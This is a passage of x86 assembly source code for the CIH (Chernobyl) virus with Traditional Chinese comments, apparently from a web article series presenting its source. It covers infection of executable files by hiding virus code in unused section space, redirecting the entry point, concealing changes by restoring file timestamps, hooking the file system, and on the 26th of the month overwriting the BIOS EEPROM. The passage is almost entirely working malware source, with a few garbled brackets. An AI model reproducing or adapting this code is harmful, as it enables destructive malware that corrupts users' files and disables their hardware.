push eax ;塊表大小
push edx ;edx為病毒代碼塊表的位移
push esi ;緩衝區地址
;合并的病毒代碼塊和病毒代碼塊表的總大小必須小於等於未使用的空間大小
inc ecx
push ecx ; Save NumberOfSections+1
shl ecx, 03h ;乘8
push ecx ;預留病毒塊資料表空間
add ecx, eax
add ecx, edx ;ecx+檔案的本文的位移
sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx ;求補,ecx為檔案頭大小 - 本文的位移 = 未用空間
push ecx
xchg ecx, eax ;ecx為塊表大小
mov eax, (AddressOfEntryPoint-@9][esi] ;入口RVA地址
add eax, (ImageBase-@9)[esi] ;裝入基址
mov (OriginalAddressOfEntryPoint-@9)[esi], eax ;儲存裝入後實際的入口地址
;未用空間和病毒第一塊大小比較,如果小於就只設感染標誌
cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark
; 讀取所有病毒塊表
mov eax, ebp ;讀的功能號
call edi ;讀塊表到esi(@9處)
;下面完全修改處理Winzip自解壓檔案的錯誤,當使用者開啟自解壓檔案時,
;病毒不會感染。首先,病毒獲得第2個塊表的ToRawData指標,
;讀取該塊資料,判斷是否包含“WinZip(R)”字樣
xchg eax, ebp
push 00000004h
pop ecx 讀4位元組
push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9][ebx]
;edx為第二塊的位移(.rdata)
add edx, 12h ;加10h+2h(10h處為"WinZip....")
call edi ;讀4位元組到esi
;判斷是否Winzip自解壓檔案,如果是就不設定感染標誌
cmp dword ptr [esi], 'piZn'
je NotSetInfectedMark
pop edx ;edx指向塊表在檔案中首址
; 設定病毒代碼塊表
pop ebx ;未用空間大小
pop edi ;edi = TotalSizeOfVirusCodeSectionTabl
pop ecx ; ecx = NumberOfSections+1
push edi
add edx, ebp ; ebp為塊表大小
push edx ;檔案指標
add ebp, esi ; ebp指向病毒資料區的塊表後(第一塊)
push ebp ;緩衝區地址
; 設定第一個病毒代碼塊的大小
lea eax, [ebp+edi-04h]
mov [eax], ebx
; 設定第一個病毒塊
push ebx ; 病毒代碼第一塊的大小
add edx, edi
push edx ;檔案指標
lea edi, (MyVirusStart-@9)[esi]
push edi ;緩衝區地址
;修改AddressOfEntryPoint的入口為病毒入口
mov (NewAddressOfEntryPoint-@9)[esi], edx ;儲存新的程式入口(病毒本文)
; 設定初始資料
lea edx, [esi-SizeOfScetionTable] ;edx先減一項塊表長度
mov ebp, offset VirusSize ;ebp為病毒長度
jmp StartToWriteCodeToSections
;寫資訊到病毒塊
LoopOfWriteCodeToSections:
add edx, SizeOfScetionTable
mov ebx, (SizeOfRawData-@9)[edx] ;ebx為該塊表項的SizeOfRawData(塊大小)
sub ebx, (VirtualSize-@9][edx] ;減去VirtualSize等於該塊未用空間
jbe EndOfWriteCodeToSections
push ebx ; Size
sub eax, 08h
mov [eax], ebx ;寫入病毒塊表
mov ebx, (PointerToRawData-@9)[edx] ;ebx為塊的物理(實際)位移
add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize
push ebx ;ebx指向該塊未用空間的檔案指標
push edi ; 緩衝區地址
mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi] ;ebx為該塊裝入後的實際地址
mov [eax+4], ebx ;儲存到病毒塊表中
mov ebx, [eax] ;該塊未用空間大小
add (VirtualSize-@9)[edx], ebx ;加到該塊表項的VirtualSize
;改該塊表項的塊屬性(改為可讀,並包含初始化資料)
or (Characteristics-@9)[edx], 40000040h
;開始寫代碼
StartToWriteCodeToSections:
sub ebp, ebx ;病毒大小-病毒塊大小
;如果小於(病毒插入完畢)就設定病毒塊表結束符
jbe SetVirusCodeSectionTableEndMark
add edi, ebx ;指向病毒下一塊
;寫代碼結束
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
OnlySetInfectedMark:
mov esp, dr1 ;只設定感染標誌
jmp WriteVirusCodeToFile ;跳到寫病毒到要傳染的檔案的程式
;不設定感染標誌
NotSetInfectedMark:
add esp, 3ch
jmp CloseFile ;轉到CloseFile處
;設定病毒塊表和標記
SetVirusCodeSectionTableEndMark:
;調整病毒塊代碼
add [eax], ebp ;更正病毒塊表的最後一項
add [esp+08h], ebp
;設定塊表結束標誌
xor ebx, ebx
mov [eax-04h], ebx
; 當病毒程式調用 Vxd指令時,VMM修改20號中斷
lea eax, (LastVxdCallAddress-2-@9)[esi] ;上一個調用Vxd指令的地址
mov cl, VxdCallTableSize ;所用Vxd調用的個數
LoopOfRestoreVxdCallID:
mov word ptr [eax], 20cdh ;還原成“int 20h”的形式
;從VxdCallIDTable取出Vxd調用的id號放到edx
mov edx, (VxdCallIDTable+(ecx-1)*04h-@9)[esi]
mov [eax+2], edx ;放到“int 20h”的後面
;VxdCallAddressTable中放著各個調用Vxd的指令地址之差
movzx edx, byte ptr (VxdCallAddressTable+ecx-1-@9)[esi]
sub eax, edx ;eax為上一個調用地址
loop LoopOfRestoreVxdCallID ;還原其他的調用
; 把病毒代碼寫到檔案中
WriteVirusCodeToFile:
mov eax, dr1 ;dr1為前面所儲存的esp
mov ebx, [eax+10h] ;ebx為儲存在棧中的儲存檔案控制代碼
mov edi, [eax] ;edi為儲存在棧中的IFSMgr_Ring0_FileIO調用地址
;迴圈寫入
LoopOfWriteVirusCodeToFile:
pop ecx ;病毒代碼各段的位移
jecxz SetFileModificationMark ;到病毒位移零為止
mov esi, ecx
mov eax, 0d601h ;寫檔案功能號(R0_WRITEFILE)
pop edx ;檔案指標
pop ecx ;要寫的位元組數
call edi ; VXD調用IFSMgr_Ring0_FileIO,寫檔案
;依次寫入各段病毒代碼、病毒塊表、新的
;檔案塊表、新的程式入口、感染標誌
jmp LoopOfWriteVirusCodeToFile
; 修改檔案的最後修改時間,使使用者不知道檔案已經被修改
SetFileModificationMark:
pop ebx
pop eax
stc ;設定進位標誌
pushf ;標誌位入棧
; 關閉檔案
CloseFile:
xor eax, eax
mov ah, 0d7h ;關閉檔案功能號
call edi ; Vxd調用IFSMgr_Ring0_FileIO關閉檔案
popf
pop esi
jnc IsKillComputer ;如果進位標誌為0,就轉向KillComputer
;恢複檔案修改時間
mov ebx, edi
mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; Vxd調用IFSMgr_Ring0_FileIO,修改檔案的最後修改時間
; 設定不“忙”標誌
DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi]
; 調用原來的FileSystemApiHook
prevhook:
popad ;恢複所有寄存器
mov eax, dr0 ; 儲存的原來的檔案系統鉤子程式首址
jmp [eax] ;跳到原來的鉤子去執行
pIFSFunc:
mov ebx, esp ; ebx指向esp以獲得FileSystemApiHookFunction的參數地址
push dword ptr [ebx+20h+04h+14h] ;把參數pioreqpir入棧
call [ebx+20h+04h] ;調用pIFSFunc FSDFnAddr
pop ecx
mov [ebx+1ch], eax ;修改eax的值
; 調用了pIFSFunc之後,從傳回值pioreq中獲得資料
cmp dword ptr [ebx+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook
;獲得在DOS模式下的檔案的修改日期和時間
mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;儲存獲得的檔案時間和日期
;退出病毒程式
QuitMyVirusFileSystemHook:
popad ;恢複所有寄存器
ret ;從病毒設定的檔案鉤子程式中退出
; 破壞電腦BIOS
IsKillComputer:
;從BIOS CMOS中獲得當前日期
mov al, 07h
out 70h, al
in al, 71h
xor al, 26h ;判斷是否是26號,
;如果是偵錯工具,則轉向DisableOnBusy
IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy ;如果不是26號,則轉向DisableOnBusy,不進行破壞
ENDIF
;開始 破壞BIOS EEPROM *
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
;顯示000E0000 - 000EFFFF 位址區段的BIOS頁面,共64KB
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
;顯示000F0000 - 000FFFFF位址區段的BIOS頁面,共64KB
mov di, 0058h
dec edx ; and a0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi
; 顯示BIOS中額外的000E0000 - 000E01FF段的 ROM資料,共512個位元組
;和可寫的BIOS塊
lea ebx, EnableEEPROMToWrite-@10[esi]
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h
以上就是病毒程式源碼執行個體剖析-CIH病毒[4]的內容,更多相關內容請關注topic.alibabacloud.com(www.php.cn)!